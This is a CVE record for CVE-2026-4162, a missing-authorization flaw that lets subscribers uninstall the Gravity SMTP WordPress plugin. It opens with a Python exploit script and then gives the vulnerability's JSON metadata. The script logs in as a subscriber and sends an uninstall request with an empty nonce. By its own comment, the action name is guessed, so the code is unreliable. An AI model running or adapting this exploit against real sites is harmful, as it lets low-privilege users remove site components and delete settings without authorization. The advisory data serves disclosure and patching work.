CVE-2026-4162

import requests # Exploit Title: WordPress Gravity SMTP < 2.1.5 - Missing Authorization (Subscriber to Uninstall) # Description: Exploits the missing authorization check to uninstall the plugin. target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber) username = "subscriber" password = "password" session = requests.Session() # Step 1: Authenticate as a subscriber login_payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/' } session.post("http://example.com/wp-login.php", data=login_payload) # Step 2: Send exploit payload # The specific action parameter depends on the plugin's actual implementation. # Based on the vuln description, we target the uninstall action. exploit_payload = { 'action': 'gravity_smtp_uninstall_plugin', 'nonce': '' # No nonce required due to vulnerability } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit sent successfully. Plugin should be uninstalled.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-4162", "sourceIdentifier": "[email protected]", "published": "2026-04-10T10:16:04.120", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gravity SMTP plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to uninstall and deactivate the plugin and delete plugin options. NOTE: This vulnerability is also exploitable via a Cross-Site Request Forgery vector."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://www.gravityforms.com/brand-new-release-gravity-smtp-2-1-5/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0f9d18a4-262b-4011-91e9-b29a27a76470?source=cve", "source": "[email protected]"}]}}